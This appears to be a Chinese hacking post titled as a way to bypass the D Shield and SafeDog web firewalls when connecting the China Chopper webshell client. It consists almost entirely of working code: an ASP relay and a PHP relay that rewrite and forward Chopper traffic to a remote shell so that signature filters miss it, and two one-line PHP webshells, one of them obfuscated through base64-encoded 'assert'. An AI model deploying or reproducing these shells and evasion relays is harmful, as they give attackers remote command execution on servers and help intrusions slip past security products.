绕过D盾安全狗连接菜刀

<%
JmStr=Replace(Request.Form,"$_POST","$_REQUEST")
JmStr=Replace(JmStr,"->|","-->|")
JmStr=Replace(JmStr,"@eval(","@eval   (")
JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String")
JMUrl=request("dz")
response.write  request("dz")
JmRef=JMUrl
JmCok=""
response.write  PostData(JMUrl,JmStr,JmCok,JmRef)
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
‘.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32),"%20") ‘转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(43),"%2B")  ‘JMDCW增加转换+字符
‘strReturn=Replace(strReturn,过滤字符,"转换为字符")  ‘在此增加要过滤的代码
URLEncoding=strReturn
End Function
%>

<?php
$webshell="http://www.70sec.com/70sec.php";//把这里改成你的shell地址
$webshell=$webshell."?&1141056911=base64_decode";
$da=$_POST;
$data = $da;
@$data=str_replace("base64_decode(",‘$_GET[1141056911](‘,$data); //接收菜刀的post，并把base64_decode替换成$_GET[1141056911](
 //print_r($data);
$data = http_build_query($data);  
$opts = array (  
‘http‘ => array (  
‘method‘ => ‘POST‘,  
‘header‘=> "Content-type: application/x-www-form-urlencoded\r\n" .  
"Content-Length: " . strlen($data) . "\r\n",  
‘content‘ => $data)
);
$context = stream_context_create($opts);  
$html = @file_get_contents($webshell, false, $context); //发送post  
echo $html;  
?>

<?php $a=$_GET[‘a‘];$a($_POST[‘cmd‘]);?>
<?php $x=base64_decode("YXNzZXJ0");$x($_POST[‘c‘]);?>;